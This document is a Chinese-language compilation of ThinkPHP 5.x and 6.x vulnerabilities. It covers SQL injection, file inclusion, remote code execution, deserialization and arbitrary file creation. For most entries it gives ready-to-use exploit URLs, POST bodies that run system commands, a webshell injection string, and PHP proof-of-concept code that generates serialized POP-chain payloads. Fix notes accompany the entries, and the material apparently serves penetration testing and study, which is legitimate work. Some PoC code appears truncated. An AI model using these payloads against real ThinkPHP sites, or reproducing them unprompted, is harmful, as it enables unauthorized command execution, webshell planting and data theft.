目录
2、thinkphp5 sql注入2
3、thinkphp5 sql注入3
4、 thinkphp5 SQL注入4
5、 thinkphp5 sql注入5
6、 thinkphp5 sql注入6
7、thinkphp5 文件包含漏洞
8、ThinkPHP5 RCE 1
9、ThinkPHP5 RCE 2
10、ThinkPHP5 rce3
11、ThinkPHP 5.0.X 反序列化漏洞
12、ThinkPHP5.1.X反序列化命令执行漏洞
13、ThinkPHP5.2.X反序列化命令执行漏洞
14、thinkphp 6 任意文件创建漏洞
15、ThinkPHP6.X 反序列化命令执行漏洞
所有 sql 注入漏洞均在 library/think/db/Builder.php 文件中。
1、thinkphp5 SQL注入1
漏洞影响版本: 5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
来自用户的查询数据经过 ThinkPHP 内置的简单过滤方法后,直接进入了继承于Builder 类的 Mysql 类的 insert 方法,在 insert 方法中,调用 parseData 方法来分析并处理数据,而 parseData 方法直接将来自用户的数据 $val 进行了拼接返回。简而言之, Builder 类的 parseData 方法,直接通过替换字符串的方式,将 $data 填充到 SQL 语句中,进而执行,造成 SQL注入漏洞 。
攻击链:payload => Mysql::insert() => Builder :: insert() => Builder::parserData():直接拼接SQL语句
exp:http://website/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤,进行参数化查询
漏洞成因:Mysql 类的 parseArrayData 方法中由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。
漏洞影响版本: 5.1.6<=ThinkPHP<=5.1.7 (非最新的 5.1.8 版本也可利用)
攻击链:
payload =>
Query::update() =>
Connection::update() =>
\think\db\builder\Mysql::update() =>
Builder::update() =>
Builder::parseData():直接将数据进行拼接进SQL语句
exp:
http://localhost:8000/index/index/index?username[0]=point&username[1]=1&username[2]=updatexml(1,concat(0x7,user(),0x7e),1)^&username[3]=0
漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤
漏洞存在于 Mysql 类的 parseWhereItem 方法中,由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞的产生。
漏洞影响版本: ThinkPHP5全版本
攻击链:
payload =>
Request::get() =>
Request::input() =>
Query::where() =>
Builder::select() =>
Builder::buildWhere() =>
Builder::parseWhereItem():当 sql 操作符等于 exp 时,用户数据直接拼接进入 SQL语句
漏洞利用:
http://localhost:8000/index/index/index?username=) union select updatexml(1,concat(0x7,user(),0x7e),1)
#(thinkphp需开启 app_debug)
漏洞修复:在拼接数据前对数据进行合法判断,对非法数据进行过滤
漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句。并且, Request 类的 filterValue 方法没有过滤 NOT LIKE 关键字,最终导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP=5.0.10
攻击链:
payload =>
Request::input() =>
filterValue() =>
Mysql::select() =>
Builder::select() :对sql 语句模板进行变量填充
=> Builder::buildWhere()
=> Builder::parseWhereItem :SQL语句拼接,sql 逻辑操作符由用户控制
漏洞利用:
http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()
漏洞修复:在 filterValue 中过滤 NOT LIKE
漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22
攻击链:
payload =>
Request::input() =>
filterCalue():过滤函数未对数组的键进行过滤
=> Query::order()
=> Query::find()
=> Connection::find()
=> Builder::select()
=> str_replace() :将数据填充到SQL模板语句
=> Builder::parseOrder()
=> Mysql::parseKey() :直接给变量两端添加反引号,最后直接返回拼接的字符串
漏洞利用:
http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1
漏洞修复:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号
漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。
漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。
攻击链:
payload =>
Query::max() =>
Query::aggregate() =>
Connection::aggregate() =>
Connection::parseKey() =>
Builder::select() =>
str_replace() =>
Builder::parseField() :直接拼接SQL语句
漏洞利用:
http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
不同版本 payload 需稍作调整:
5.0.0~5.0.21 、 5.1.3~5.1.10 :
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23
5.1.11~5.1.25 :
id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`
漏洞修复:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常
漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。
public function read($cacheFile, $vars = [])
{
$this->cacheFile = $cacheFile;
if (!empty($vars) && is_array($vars){
// 模板阵列变量分解为独立变量
if (isset($vars['cacheFile'])){
$_think_cacheFile = $cacheFile;
$cacheFile = $vars['cacheFile'];
unset($vars['cacheFile'], $vars['_think_cacheFile']);
extract($vars, EXTR_OVERWRITE);
include $_think_cacheFile;
return;
}
extract($vars);
extract($vars, EXTR_OVERWRITE);
}
// 载入模板缓存文件
include $cacheFile;
include $this->cacheFile;
}
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10
攻击链:
payload =>
Controller::assign() =>
think\View类 data属性 =>
View::fetch() =>
File::read() =>
extract() =>
extract($cacheFile) :用户数据覆盖$cacheFile 变量的值
=> include($cacheFile):文件包含
漏洞利用:
创建 application/index/view/index/index.html 文件,并将图片马 1.jpg 上传至 public 目录下,访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发文件包含漏洞 。
官方修复:先将 $cacheFile 变量存储在 $this->cacheFile 中,在使用 extract 函数后,最终 include 的变量是 $this->cacheFile ,这样也就避免了 include 被覆盖后的变量值。
漏洞存在于 thinkphp/library/think/Cache.php 的 Cache 类中,该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发远程代码执行漏洞。
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10
攻击链:
payload => Cache::set() => Cache::init() => thinkphp\library\think\driver\File::set() => serialize():在文件开头拼接了“//”注释符(换行绕过即可),存储为 php 文件
文件名生成规则:获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名,如果应用程序还设置了前缀 $this->options['prefix'] ,则缓存文件还将多一个上级目录。
漏洞利用:
http://localhost/tpdemo/public/?username=username123%0d%0a@eval($_GET[_]);
// 将 webshell 写入缓存文件。
官方修复:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。
漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。
漏洞成因:
ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。
vulnerable url:
http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd
两种漏洞利用:
1)所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func()
攻击链:payload => Request::input() => filterValue() => call_user_func() => rce
2)控制器名称从兼容模式下的s参数获取,但对s的值没有做任何安全处理,最后会被传递到exec(),造成rce
攻击链:payload => s => Dispatch::$result => App::run() => Dispatch::run => exec() => rce
不同版本 payload :
5.1.x :
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x :
?s=index/think\config/get&name=database.username # 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg # 包含任意文件
?s=index/\think\Config/load&file=../../t.php # 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
漏洞修复:
5.1.x:thinkphp/library/think/route/dispatch/Url.php 类的 parseUrl 方法,解析控制器后加上过滤
5.0.x:thinkphp/library/think/App.php 类的 module 方法的获取控制器的代码后面加上过滤
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);
}
漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30。
漏洞成因:
ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。同时,用户可以通 $_POST 数组传递请求方法 $method 的值,而且在获取之后没有进行任何检查,thinkphp直接把它作为 Request 类的方法进行调用,相当于可以随意调用 Request 类的部分方法。同时,Request 类的 __construct 方法中存在类属性覆盖的功能。
1)当框架在配置文件中开启了 debug 模式( 'app_debug'=> true )
程序会调用 Request 类的 param 方法,因此可以覆盖原来的方法,转而调用Request::input(),进而调用call_user_func()函数。
攻击链:
payload => $_POST => Request::$method => Request::param() =>
Request::method() => Request::server() =>
Request::input() => filterValue() => call_user_func() => rce
2)为开启 debug 模式
在 Dispatch 类的 run 方法中,会执行一个 exec 方法,当该方法中的 $dispatch['type'] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法。$dispatch['type'] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系, $route 变量取决于程序中定义的路由地址方式,GET方式中存在一条路由,可以利用这一路由地址,使得 $dispatch['type'] 等于 method ,从而完成 远程代码执行漏洞。
路由方式:'\完整的命名空间类@动态方法'
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index")
攻击链:
payload => $_GET => $route => Route::parseRule(..., $result, ...) =>
Dispatch::run() => exec($dispatche['type'], ...) => Request::$method =>
Request::param() => Request::method() => Request::server() =>
Request::input() => filterValue() => call_user_func() => rce
漏洞利用:
ThinkPHP <= 5.0.13
POST /?s=index/index
s=whoami&_method=__construct&method=&filter[]=system
ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug
POST /
_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al
ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha
POST /?s=xxx HTTP/1.1
...
_method=__construct&filter[]=system&method=get&get[]=ls+-al
或
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
漏洞修复:同上,同时限制Request中可控的请求方法
漏洞成因:
\think\cache\driver\File::set() 方法可以写入文件,且文件名及文件内容可控,导致可以写入webshell。
在 think\process\pipes\Windows 类的 __destruct 方法中,存在一个删除文件功能,此处的文件名 $filename 变量是可控。若将一个类赋值给 $filename 变量,则在 file_exists($filename) 的时候,会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。Output 类中,__call 方法内存在 call_user_func_array 函数,通过调用不存在的方法,即可触发 __call 方法,调用 call_user_func_array(array (任意类,任意方法), $args),执行任意方法,据此可以调用写文件的函数。
getCacheKey() 方法中的 $this->options['path'] 可控,因此 $filename 可控,可以利用伪协议绕过添加的exit。setTagItem 方法会再执行一次 set 方法,且文件内容 $value 通过 $name(文件名)赋值,可以在文件名中写入 webshell,进而写入 php 文件。
php://filter/write=string.rot13/resource=./
POP链:
think\process\pipes\Windows::__destruct() =>
Windows::removeFiles() => file_exists() =>
Model::toJson() => Model::toArray() =>
Loader::parseName() => $this->$relation() =>
think\Model::getError() => getRelationData() =>
$value => $item[$key] = $value ? $value->getAttr($attr) : null //进行判断时,需要通过toArray()将getAttr($attr)进行数据类型转换,Output类中不存在toArray()方法,触发 think\console\Output::__call()调用不存在的方法
=> think\console\Output::__call()=>
call_user_func_array(array(任意类,任意方法),$args) =>
$this->handle->write() => think\console\Output::write() =>
think\session\driver\Memcached::write() => think\cache\driver\File:set() =>
File::setTagItem($name) => File::set() => file_put_contents() => 写入 webshell
漏洞利用:
webshell 的写入路径为:网站根目录 /public/static/md5(‘tag_’+md5($tag)),访问 webshell 时要对文件名进行 URL 编码
Poc:
3600,
'cache_subdir' => false,
'prefix' => '',
// 写入文件
'path' => 'php://filter/write=string.rot13/resource=./static/',
// 创建子目录
/* 'path' => './static/3a6c45/', */
'data_compress' => false,
];
}
//Memcached类
namespace think\session\driver;
use think\cache\driver\File;
class Memcached {
protected $handler = null;
function __construct() {
$this->handler=new File();
}
}
//Output类
namespace think\console;
use think\session\driver\Memcached;
class Output {
protected $styles = ['removeWhereField'];
private $handle = null;
function __construct() {
$this->handle=new Memcached();
}
}
//HasOne类
namespace think\model\relation;
use think\console\Output;
class HasOne {
protected $query = false;
function __construct() {
$this->query=new Output();
}
}
//Pivot类
namespace think\model;
use think\model\relation\HasOne;
class Pivot {
protected $append = ['getError'];
protected $error = false;
public function __construct() {
$this->error=new HasOne();
}
}
//Windows类
namespace think\process\pipes;
use think\model\Pivot;
class Windows {
private $files = [];
public function __construct() {
$this->files=[new Pivot()];
}
}
$x=new Windows();
echo str_replace('+', '%20', urlencode(serialize($x)));
// 生成的payload:
O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00query%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A16%3A%22removeWhereField%22%3B%7Ds%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A6%3A%22%00%2A%00tag%22%3Bs%3A6%3A%22abcdef%22%3Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A3600%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A68%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.rot13%2Fresource%3D.%2Fstatic%2F%3C%3Fcuc%20cucvasb%28%29%3B%3F%3E%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7D%7D%7D%7D%7D%7D%7D%7D
漏洞修复:
1)修改removeFiles方法
private function removeFiles(){
foreach ($this->files as $filename) {
if(is_object($filename)){
continue;
}
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
2)在Windows.php中添加两个方法
public function __sleep(){
throw new Exception('Cannot serialize '.__CLASS__);
}
public function __wakeup(){
throw new Exception('Cannot unserialize '.__CLASS__);
}
漏洞成因:
此漏洞的 pop 链入口类似于 5.0.x 反序列化漏洞的 pop 链入口,都是通过\think\process\pipes\Windows::__destruct()。Request 类中的 input 方法,调用了call_user_func(),可以通过构造 pop 链进行 rce。
POP链:
\think\process\pipes\Windows::__destruct() =>
Windows::removeFile() =>
file_exists() =>
Model::__toString() =>
Model::toJson =>
Model::toArray() =>
\think\Request::__call() =>
call_user_func_array() =>
Request::isAjax() =>
Request::param => Request::input() => Request::filterValue() => call_user_func() => rce
POC:
append = ["lin"=>["calc.exe","calc"]];
$this->data = ["lin"=>new Request()];
}
}
class Request{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单ajax伪装变量
'var_ajax' => '_ajax',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>'lin'];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));?>
漏洞修复:
1)同上
2)使用 PHP7 新增的 unserialize 的过滤器,它通过白名单的方式来防止潜在的代码注入,将除 MyClass 和 MyClass2 和 stdClass 之外的所有对象都转换为 __PHP_Incomplete_Class 对象,从而阻断反序列化的漏洞利用链
漏洞成因:
5.1 版本中的反序列化漏洞构造,__call 之前的方法仍然可以使用。5.2 版本的 think\model\concern\Attribute 类中的 getValue方法中存在一个可控的动态函数调用的点 $closure($value, $this->data),只要让 $closure='system' 并且 $value='要执行的命令' ,就可以触发命令执行。
通过触发__destruct()方法中的removeFiles(),该函数内用了一个file_exists()方法处理对象实例时会当成字符串,从而触发__toString(),调用toJson() => toArray() => getAttr(),最后在getValue()处调用动态函数导致命令执行。
POP链:
think\process\pipes\Windows::__destruct() =>
think\process\pipes\Windows::removeFiles() =>
think\model\concern\Conversion::__toString() =>
think\model\concern\Conversion::toJson() =>
think\model\concern\Conversion::toArray() =>
think\model\concern\Attribute::getAttr() =>
think\model\concern\Attribute::getValue() =>
$closure($value, $this->data) => system('command', $this-data)
POC :
files = [$files];
}
}
}
namespace think\model\concern {
trait Conversion
{}
trait Attribute
{
private $data;
private $withAttr = ["lin" => "system"];
public function get() {
$this->data = ["lin" => "ls"];
}
}
}
namespace think {
abstract class Model
{
use model\concern\Attribute;
use model\concern\Conversion;
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
public function __construct(){
$this->get();
}
}
}
namespace {
$conver = new think\model\Pivot();
$payload = new think\process\pipes\Windows($conver);
echo urlencode(serialize($payload));
}
?>
漏洞修复:同上
漏洞成因:
session 文件默认存储在 /var/www/html/tp60/runtime/session 下,其文件名格式类似 sess_PHPSESSID 。而当我们在 PHPSESSID 中插入特殊字符时,程序还是能正常生成对应文件。因此,这里存在任意文件创建漏洞,且通过插入路径穿越符,还存在文件覆盖和getshell的可能。
在 session 初始化时,程序会将 PHPSESSID 对应的值赋值给 \think\session\Store:id 。当 PHPSESSID 对应值长度等于32,则无任何过滤直接赋值。然后在程序构造响应数据返回给用户时,会先将 session 写入文件,而这个文件的文件名则由之前的 PHPSESSID 拼接而成。由于没有任何的过滤,这也就造成了任意文件创建、覆盖。
漏洞利用:
在 浏览器 console下执行poc,\runtime\session文件夹下就会生成php文件:
document.cookie="PHPSESSID=/../../../public/demo.php";
漏洞修复:对 session 的判断以及写入做拦截与效验,不允许直接 .php文件的 session 值写入
漏洞成因:
Model类中的checkAllowFields() 方法存在可控变量拼接的问题,可以调用 __toString(),融合 5 版本的 rce pop 链 即可构造此版本的 rce。
POP链:
Model::__destruct() =>
Model::save() =>
Model::updateData() =>
Model::checkAllowFields()->db() =>
__toString() => toJson() => toArray() =>
Attribute::getAttr() =>
Attribute::getValue() =>
$closure($value, $this->data) => system('command', $this-data)
漏洞利用:
1)phpggc上有集成的exp,使用如下命令即可生成
./phpggc -u ThinkPHP/RCE2 'phpinfo();'
2)POC
lazySave=true;
$this->exists=true;
$this->data=['key'=>'dir'];
$this->table=$obj;
$this->strict=true;
$this->visible = ["key"=>1];
}
}
namespace think\model\concern;
trait Attribute{
private $withAttr = ["key" => "system"];
}
namespace think\model;
use think\Model;
class Pivot extends Model{
function __construct($obj){
parent::__construct($obj);
}
}
$obj1=new Pivot(null);
echo urlencode(serialize(new Pivot($obj1)));
漏洞修复:使用PHP7新增的unserialize的过滤器